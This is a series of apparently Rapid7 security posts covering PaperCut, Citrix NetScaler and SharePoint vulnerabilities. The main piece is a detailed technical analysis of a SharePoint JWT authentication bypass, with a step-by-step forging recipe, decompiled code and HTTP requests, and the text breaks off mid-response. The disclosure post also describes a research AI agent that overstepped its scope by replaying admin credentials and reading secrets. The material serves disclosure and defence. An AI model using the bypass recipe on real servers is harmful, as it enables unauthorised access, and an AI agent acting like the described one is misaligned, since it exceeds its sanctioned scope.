The vendor notes that these builds have not undergone their normal release process and are intended as emergency fixes for customers with public-facing servers that cannot otherwise sufficiently mitigate exposure.

PaperCut recommends that administrators immediately restrict web access to trusted IP addresses only, such as internal corporate network ranges. Firewall rules, network access controls, reverse-proxy restrictions, or equivalent measures should be used to prevent untrusted internet hosts from reaching PaperCut web interfaces.

Please read the PaperCut security advisory for the latest remediation guidance, updated indicators of compromise, and additional release information.

Artifacts/Evidence Sources and IOCs

For detection and forensic analysis, PaperCut has identified several preliminary artifacts and evidence sources that may indicate compromise.

  • Application activity: Alerts from intrusion-detection, endpoint-security, or network-monitoring products involving the PaperCut Application Server, particularly suspicious post-exploitation activity associated with pc-app.exe.

  • Log integrity: Missing, unexpectedly truncated, or deleted PaperCut server.log files.

  • PaperCut server.log entries:

    • ERROR No suitable driver found for jdbc:no:x

    • ERROR DatabaseUtils - Database error looking up cardID: VALUES CAST

PaperCut has not yet published validated network-based indicators such as malicious IP addresses, domains, or URLs.

The vendor specifically warns that the absence of these indicators should not be interpreted as evidence that a system has not been affected.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to this new PaperCut zero-day, with an authenticated vulnerability check expected to be available in the August 28 (today’s) content release.

Updates

  • August 28, 2026: Initial publication.

  • August 28, 2026: Updated to reflect new emergency patches and CVE ID assignment. Updated remediation to include the new v24 patches. Updated Technical Overview to indicate first patch bypass.
  • August 31, 2026: Updated the Overview to note that both CVEs were added to the CISA KEV list, and the availability of a Metasploit module.
  • September 1, 2026: Updated the Remediation section to reflect the vendor's new emergency patch (release 3).

CVE-2026-19490: Critical Vulnerability Affecting Citrix NetScaler ADC and NetScaler Gateway

By: Rapid7
19 August 2026 at 12:46

Overview

On August 19, 2026, a security advisory was published for CVE-2026-19490, a critical authentication bypass vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway. The vulnerability carries a CVSS v4.0 base score of 9.3 and can be exploited remotely by an unauthenticated attacker over the network without user interaction or elevated privileges.

NetScaler ADC and NetScaler Gateway are widely deployed enterprise networking products commonly positioned at or near the network perimeter. NetScaler ADC provides application delivery, traffic management, load balancing, SSL/TLS offloading, and application security capabilities, while NetScaler Gateway provides secure remote access and VPN functionality. Because these systems are frequently deployed in enterprise DMZs and exposed to the public internet, authentication bypass vulnerabilities affecting Citrix products are nearly always exploited by threat actors.

CVE-2026-19490 affects the following systems:

  • NetScaler ADC and NetScaler Gateway 14.1: Versions prior to 14.1-73.32

  • NetScaler ADC and NetScaler Gateway 13.1: Versions prior to 13.1-63.21

  • NetScaler ADC FIPS: Versions prior to 14.1-73.32 FIPS

  • NetScaler ADC FIPS and NDcPP: Versions prior to 13.1-37.277

As of August 19, 2026, Rapid7 has not observed evidence that CVE-2026-19490 is being exploited in the wild. However, organizations should prioritize patching affected systems on an emergency basis, since Citrix products are high-value targets that tend to quickly see exploitation in the wild.

On September 9, 2026, CVE-2026-19490 was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. With active exploitation now occurring, organizations running affected versions of Citrix NetScaler ADC and NetScaler Gateway should remediate these issues on an urgent basis, outside of normal patching cycles.

Mitigation guidance

Organizations running affected NetScaler ADC or NetScaler Gateway appliances should review the official NetScaler advisory and apply the required updates to affected systems on an emergency basis.

Fixed versions for affected products are listed below:

  • NetScaler ADC and NetScaler Gateway 14.1-73.32 and later releases

  • NetScaler ADC and NetScaler Gateway 13.1-63.21 and later releases of 13.1

  • NetScaler ADC 14.1-FIPS 14.1-73.32 FIPS and later releases of 14.1-FIPS

  • NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.277 and later releases of 13.1-FIPS and 13.1-NDcPP

According to Citrix, customers can determine whether affected systems are vulnerable to CVE-2026-19490 by inspecting their NetScaler configuration for the following configuration entries. If one or more of the following items are present, and if the systems are running affected versions, the system is likely to be exploitable:

  • SAML action configuration is in place:

    • "add authentication samlAction.*"

  • Auth or VPN vserver is configured:

    •  "add authentication vserver .*"

    •  "add vpn vserver .*"

For the latest guidance, please refer to the official Citrix advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Customers can assess exposure to CVE-2026-19490 on Citrix NetScaler ADC and Gateway using a vulnerability check available in the August 20 content release.

Updates

  • August 19, 2026: Initial publication.

  • August 20, 2026: Updated Rapid7 customers section to reflect availability of vulnerability check.
  • September 11, 2026: Updated Overview to add new CISA KEV reference.

CVE-2026-63520: Microsoft SharePoint Remote Code Execution (FIXED)

11 August 2026 at 09:00

Overview

Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the second vulnerability in this chain, the RCE vulnerability CVE-2026-63520. The first vulnerability in the chain, CVE-2026-55040, was disclosed by Rapid7 and Microsoft last month.

Our full disclosure timeline for the exploit chain can be seen below in Figure 1.

timline.png

Figure 1: The road to disclosure.

⠀

CVE-2026-63520 affects all supported versions of Microsoft SharePoint. An attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. The vulnerability is due to an unsafe .NET type instantiation issue within the Business Connectivity Services.

CVE-2026-63520 has a CVSSv3.1 score of 8.1 (High), and a Common Weakness Enumeration (CWE) of CWE-20: Improper Input Validation. While the severity of the RCE is described as high, chained together with CVE-2026-55040 it becomes part of a critical unauthenticated RCE exploit chain against SharePoint.

The exploit chain was developed as an entry for this year's Pwn2Own Berlin hacking competition; while our entry was unsuccessful on the day of the competition, this research highlights Rapid7 Labs' continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research. Our research methodology focused on understanding how publicly available AI models can assist in the discovery of significant vulnerabilities against proprietary enterprise targets. Our results established that the rate of model advancement is significantly accelerating vulnerability research, model guidance from subject matter experts is a force multiplier, and complex proprietary targets are easily handled through agentic workflows.

On August 18, 2026, CISA added CVE-2026-55040 to its Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation.

Rapid7 is hosting a webinar on Thursday August 13, 2026 to discuss the research and findings for CVE-2026-55040 and CVE-2026-63520. Please join Douglas McKee and Stephen Fewer to learn more about this body of work.

Workflow

For this research project we wanted to understand the capabilities and limits of publicly available LLMs circa January through to March of this year. We wanted to answer the question if an AI workflow could find and develop an unauthenticated RCE exploit against a hard target such as SharePoint. This research project concluded with the successful discovery and development of such a chain. To that end, the publicly available models at the beginning of this year were indeed capable. This is notable as the rate of model improvement from Q1 of 2026 through to today has been significant. Our team's later testing of the most recent frontier models confirms the significant increase in capabilities from that of the beginning of this year. Our primary conclusion from the SharePoint research project in Q1 is that an agent guided by a subject matter expert (SME) was crucial to keep moving the model and its work towards the end goal. Given our current experience of frontier model capabilities, the need for an SME to verify and guide a model is lessened, but the compounding impact an SME can bring remains.

Our first sprint in January did not result in any significant findings, rather, this sprint helped us establish the workflow and tooling that proved most useful, scope out the extremely large attack surface, and integrate prior work into our process. We augmented the agentic work with manual source code review and reverse engineering to provide additional context and steering to the model. Our early results quickly indicated how a fully automated and agentic approach would not suffice, the model would too often produce findings that were questionable or simply inaccurate. Steering the agent as it worked helped both the agent hone in on interesting and ultimately fruitful findings but also by constantly reviewing the agent's results, helped us refute inaccurate and unhelpful findings, along with several cases where the agent overstepped its guidance, effectively cheating to succeed in its goal - such as unexpectedly replaying admin credentials, enabling debug flags, or reading secrets, all of which were never within our original threat model.

By March, we had moved to a newer release of our chosen model, that combined with a solid attack surface, extensive prior work in place, and a broad architectural layout mapped out we began to quickly see success. An authentication bypass, now known as CVE-2026-55040, was discovered and verified in early March, followed two weeks later by the RCE, now known as CVE-2026-63520. By the time we had produced a working exploit chain, the agent had accrued 120 hours of run time spread over 24 days, leveraged 96 sessions, generated approximately 80,000 agentic tool calls and we had issued 256 prompts.

Product description

Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.

Impact

CVE-2026-63520 allows an attacker to execute arbitrary code on an affected server. By crafting a custom .NET gadget chain, an attacker can perform arbitrary operations such as executing an attacker-controlled OS command. The attacker's arbitrary code is executed with the permission of the Windows service account running the SharePoint Site instance. As CVE-2026-63520 can be chained to the authentication bypass vulnerability, CVE-2026-55040, the resulting exploit chain allows for unauthenticated RCE against a vulnerable server.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Vendor statement

The following statement has been provided by Microsoft:

“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

Technical analysis

The technical details for the RCE vulnerability, CVE-2026-63520, have been published here.

The technical details for the authentication bypass vulnerability, CVE-2026-55040, have been published here.

Remediation

The vendor has provided the following updates to remediate CVE-2026-63520.

  • KB5002893 - Microsoft SharePoint Server Subscription Edition (version 16.0.19725.20522).

  • KB5002894 - Microsoft SharePoint Server 2019 (version 16.0.10417.20198).

  • KB5002896 - Microsoft SharePoint Server 2019 (version 16.0.10417.20198).

  • KB5002905 - Microsoft SharePoint Enterprise Server 2016 (version 16.0.5565.1001).

  • KB5002906 - Microsoft SharePoint Enterprise Server 2016 (version 16.0.5565.1001).

For additional details, please see the vendor security bulletin and product updates page.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to the RCE vulnerability, CVE-2026-63520, with authenticated vulnerability checks available in the August 12 content release. Customers can assess their exposure to the authentication bypass vulnerability, CVE-2026-55040, with authenticated vulnerability checks available in the July 15 content release.

Upcoming webinar

Interested in the AI tooling leveraged throughout the research process? Join Rapid7's Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.

Disclosure timeline

  • May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.

  • May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles - the authentication bypass component in July, and the RCE component in August.

  • May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.

  • May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.

  • July 21, 2026: Rapid7 requests supporting information for the upcoming disclosure.

  • July 31, 2026: Microsoft provides supporting information to Rapid7.

  • August 11, 2026: This disclosure for CVE-2026-63520.

  • August 13, 2026: Microsoft clarifies that two additional products (Project Server and Office Web Apps Server) are not affected by CVE-2026-63520, contrary to details provided by Microsoft on July 31. This disclosure blog has been updated to reflect this.
  • August 18, 2026: CISA adds CVE-2026-55040 to its KEV catalog.
  • August 24, 2026: Rapid7 publishes technical details for CVE-2026-63520 ahead of schedule after technical details are published by a third-party.

Rapid7 Analysis: Microsoft SharePoint JWT Token Authentication Bypass (CVE-2026-55040)

11 August 2026 at 09:00

Overview

On July 14, 2026, Rapid7 and Microsoft disclosed CVE-2026-55040, an authentication bypass vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of the vulnerability along with an accompanying proof-of-concept (PoC) script.

CVE-2026-55040.png

Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.

⠀

A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server, and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.

Analysis

The following technical analysis is based upon SharePoint Server Subscription Edition version 16.0.19725.20210.

A critical authentication bypass vulnerability exists in SharePoint Server Subscription Edition's JWT token validation pipeline. The root cause is a chain of four distinct weaknesses that, when combined, allow an unauthenticated remote attacker to forge a valid JWT and impersonate any SharePoint site user.

The below analysis is based upon decompilation and code review of the Microsoft.SharePoint.IdentityModel module from a fully patched SharePoint Server Subscription Edition instance. The vulnerability resides in the SPJsonWebSecurityTokenHandlerV2 class and its base class SPJsonWebSecurityBaseTokenHandlerV2, which together implement the token parsing and validation logic for Bearer service-to-service (S2S) tokens.

SharePoint's S2S authentication uses a nested JWT structure: an outer token containing user identity claims, and an inner "actor token" embedded in the actortoken claim. The actor token represents the calling application and is expected to be cryptographically signed by a trusted certificate.

The validation flow begins in SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(), which extracts the Bearer token from the Authorization header, parses it via SPJsonWebSecurityBaseTokenHandlerV2.ReadToken(), and then validates it via SPJsonWebSecurityTokenHandlerV2.ValidateToken(). The debugger call stack below shows the call stack at the time of calling ValidateToken.

Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPJsonWebSecurityTokenHandlerV2.ValidateToken(System.IdentityModel.Tokens.SecurityToken token) (IL=0x01BC, Native=0x00007FFC730AA430+0x4A2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(System.Web.HttpContext httpContext, out Microsoft.SharePoint.IdentityModel.SPIncomingTokenContextV2 tokenContext, out Microsoft.SharePoint.IdentityModel.SPIdentityProofToken identityProofToken) (IL=???, Native=0x00007FFC730A2A70+0x9FB)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.ConstructIClaimsPrincipalAndSetThreadIdentity(System.Web.HttpApplication httpApplication, System.Web.HttpContext httpContext, Microsoft.SharePoint.IdentityModel.SPFederationAuthenticationModuleV2 fam, out string tokenType) (IL≈0x0041, Native=0x00007FFC730A1860+0xB2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.AuthenticateRequest(object sender, System.EventArgs e) (IL≈0x0139, Native=0x00007FFC7196F9D0+0x3E4)
 	System.Web.dll!System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() (IL=0x005D, Native=0x00007FFC71846AE0+0xD1)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFC71846A00+0xB6)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x00007FFC71846640+0x5E)
 	System.Web.dll!System.Web.HttpApplication.PipelineStepManager.ResumeSteps(System.Exception error) (IL≈0x027A, Native=0x00007FFC71842E00+0x77A)
 	System.Web.dll!System.Web.HttpApplication.BeginProcessRequestNotification(System.Web.HttpContext context, System.AsyncCallback cb) (IL=0x0031, Native=0x00007FFC71842D50+0x83)
 	System.Web.dll!System.Web.HttpRuntime.ProcessRequestNotificationPrivate(System.Web.Hosting.IIS7WorkerRequest wr, System.Web.HttpContext context) (IL≈0x00B0, Native=0x00007FFC7183C7A0+0x1D3)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0131, Native=0x00007FFC7183A4E0+0x41A)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Managed to Native Transition]
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x01E7, Native=0x00007FFC7183A4E0+0x4C1)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Appdomain Transition]

Weakness 1: RequireSignedTokens disabled

The first and most fundamental weakness is in SPJsonWebSecurityTokenHandlerV2.ValidateToken(). When constructing the TokenValidationParameters for the underlying Microsoft.IdentityModel JWT library, the code explicitly disables signature requirements:

// SPJsonWebSecurityTokenHandlerV2.cs - ValidateToken() - Line 212
val.RequireSignedTokens = false;

This single line disables the JWT library's cryptographic signature verification. When RequireSignedTokens is false, the library accepts tokens with alg: none in the header, meaning no signature is required on the outer token at all. The library still parses the JWT and populates claims, but never performs any cryptographic verification of the outer token.

The full context of the method:

// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
    // ...
    TokenValidationParameters val = new TokenValidationParameters();
    val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
    val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
    val.ValidateAudience = false; // <--- [1]
    val.ValidateIssuer = false; // <--- [2]
    List<X509SecurityKey> list = new List<X509SecurityKey>();
    // ... populates list with trusted signing keys ...
    val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
    val.RequireSignedTokens = false; // <--- [3]
    // ...
    SecurityToken securityToken = default(SecurityToken);
    return new ReadOnlyCollection<ClaimsIdentity>(
        ((JwtSecurityTokenHandler)this).ValidateToken(
            ((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
        ).Identities.ToList()
    );
}

At [1] and [2], the built-in audience and issuer validation from the JWT library are also disabled, SharePoint implements its own validation logic in separate methods. At [3], the critical RequireSignedTokens = false is set. The resulting call to the base JwtSecurityTokenHandler.ValidateToken() processes the JWT without verifying any cryptographic signature.

Weakness 2: Actor token x5t resolution without signature verification

After ReadToken() parses the JWT, SharePoint's custom validation code resolves the actor token's signing key using the x5t (X.509 certificate thumbprint) header. This occurs in SPJsonWebSecurityBaseTokenHandlerV2:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- [1]
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
    signingKeyIdentifier, out var token2); // <--- [2]
if (token2 != null)
{
    ((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- [3]
}

At [1], the call to GetSigningKeyIdentifier extracts the x5t value directly from the actor token's JWT header:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
    JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
    // ...
    if (string.Equals(header.Alg, "RS256"))
    {
        if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
        {
            throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
        }
        securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
            SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
    }
    // ...
}

At [2], the call to SPIssuerTokenResolver.TryResolveTokenCore searches all trusted certificates, including SharePoint's own local Security Token Service (STS) signing certificate, for a thumbprint match:

// SPIssuerTokenResolver.cs - TryResolveTokenCore - Lines 118-142
protected override bool TryResolveTokenCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityToken token)
{
    // ... searches TrustedLoginProviders, TrustedSecurityTokenServices ...
    if (TryResolveTokenCoreWithAccessProvider(local.LocalLoginProvider, keyIdentifierClause, out token)) // <--- [4]
    {
        return true;
    }
    return false;
}

At [4], the resolver checks the LocalLoginProvider access provider, SharePoint's own STS signing certificate, whose x509 certificate can be retrieved via the unauthenticated /_layouts/15/metadata/json/1 endpoint. If an attacker sets the actor token's x5t header to the thumbprint of SharePoint's STS certificate, the resolver finds a match and returns an X509SecurityToken wrapping that certificate. At [3], this token is assigned to the actor token's SigningToken property.

At no point in this flow is the actor token's signature (In our example we use the string AAAA as a signature in a forged token) cryptographically verified against the resolved signing key. The code resolves the key from x5t, populates SigningToken, but never calls any signature verification function.

Weakness 3: Issuer validation accepts unregistered certificates

After setting the actor token's SigningToken, the code proceeds to call ValidateIssuer(token). For a token that contains an actor token SigningToken value (which we just achieved above), the logic in ValidateIssuer takes the below path:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
    ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
    ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
                   ((JwtSecurityToken)token.ActorToken).Issuer);
    return;
}

This calls the ValidateIssuer(X509SecurityToken, string) overload which accepts tokens signed by unregistered certificates:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
    // ...
    SPTrustedSecurityTokenService providerBySigningCertificate =
        SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
            .GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- [1]

    if (null == providerBySigningCertificate) // <--- [2]
    {
        ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
            "no registered STS matches the signing certificate '{1}'",
            tokenIssuer, signingKey.Certificate.Subject);
        return; // <--- ACCEPTED
    }
    if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
    {
        return;
    }
    throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}

At [1] above, the code searches the TrustedSecurityTokenServices collection for a provider whose signing certificate matches. SharePoint's local STS signing certificate belongs to the LocalLoginProvider access provider, which is not in the TrustedSecurityTokenServices collection. Therefore, GetProviderBySigningCertificate returns null.

At [2], when the result is null, the method accepts the issuer unconditionally and returns to the caller instead of throwing a SecurityTokenException exception.

The intent appears to be accepting tokens from certificates not explicitly registered, but the effect is that an attacker who references SharePoint's own STS certificate via x5t passes issuer validation because that certificate is not found in the specific TrustedSecurityTokenServices collection being searched.

Weakness 4: GetTokenSignature non-cryptographic check

The final validation step involves GetTokenSignature, which is called during session token construction. This method requires a non-empty signature but performs no cryptographic verification:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
	SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
	string rawData = ((JwtSecurityToken)jwtToken).RawData;
	if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
	{
		ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	string text = ((JwtSecurityToken)jwtToken).RawSignature;
	if (string.IsNullOrWhiteSpace(text))
	{
		text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
	}
	if (string.IsNullOrWhiteSpace(text))
	{
		if (jwtToken.ActorToken != null)
		{
			text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.Append(jwtToken.Audience);
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
			stringBuilder.Append(',');
			foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
			{
				stringBuilder.Append(claim.Value);
				stringBuilder.Append(',');
			}
			return stringBuilder?.ToString() + text; // <--- [3]
		}
		ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	return text;
}

For the outer token with alg: none, RawSignature is empty (the JWT format is header.payload. with nothing after the final dot). At [1], extracting after the last dot yields an empty string. At [2], the method recurses into the actor token. The actor token's signature is AAAA, a non-empty string, so at [3] it returns "AAAA" without any cryptographic verification that this value is a valid RSA signature.

Summary

The four weaknesses combine as follows:

  1. Attacker sends a JWT with alg: none in the outer header, so no signature is required in the outer token.

  2. The actor token's x5t header contains SharePoint's own STS certificate thumbprint, allowing us to resolve a signing key with no verification.

  3. The resolved certificate is not in TrustedSecurityTokenServices, allowing the issuer to be accepted.

  4. The actor token's signature is a non-empty value, e.g. AAAA, which is never verified.

After validation, the outer token's nameid claim, containing either an attacker controlled Windows Security Identifier (SID) or an attacker controlled User Principal Name (UPN), is resolved to a user identity via SPIncomingServerToServerProtocolIdentityHandlerV2.ValidateAndEnsureIdentity(). Alternatively a name id of 0#.w|nt authority\local service can be used to identify as a known local service, through an AccessToken identifier. Our testing showed identifying as a local service exposed less authenticated attack service than identifying via either a SID or UPN.

Our PoC script shows examples of all three mechanisms working.

Walkthrough

We can see a concrete example of the bypass in action by inspecting the HTTP requests required to achieve the authentication bypass.

In order to know the x5t value to use in the inner actortoken token, we must first retrieve the x509 certificate of the STS signing certificate from the target SharePoint site. We can do this via an unauthenticated request to the /_layouts/15/metadata/json/1 URI. For example:

GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*

Which returns the STS signing certificate as part of the response:

HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
request-id: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kB